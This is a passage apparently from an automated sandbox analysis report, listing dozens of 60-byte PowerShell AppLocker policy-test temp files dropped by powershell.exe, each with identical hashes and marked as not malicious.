                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bq0z4kbe.zug.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cg4th02d.ltf.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ci0ywatb.u3q.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cic5qj1i.itd.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cocqoyad.4mw.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cyqiyfbp.u4b.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dor0gagy.4c4.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dr51q0kt.ed3.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e2vkposj.ycm.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eddstdta.otq.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gkf4i2ba.5an.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gtmkxb0l.ec2.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhzxh0lh.uvy.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hkeu0h43.kzt.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_huu5zavg.dzw.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i4iz3lqf.sp2.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i5i2md2e.hv4.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iiim5pb0.wxg.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jcjfmifk.qil.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jlguz13m.q5b.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jo3ysl2s.flk.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kpvbuxnz.mn1.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kx5efrsb.s1x.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kzbcaw3k.oye.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lajbtzmo.ljc.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_loiabjjp.spy.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpflxqti.xey.psm1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mnzsrjns.umj.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
                                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n5iuvuy5.dtw.ps1

                                                                  Download File
                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):60
                                                                  Entropy (8bit):4.038920595031593
                                                                  Encrypted:false
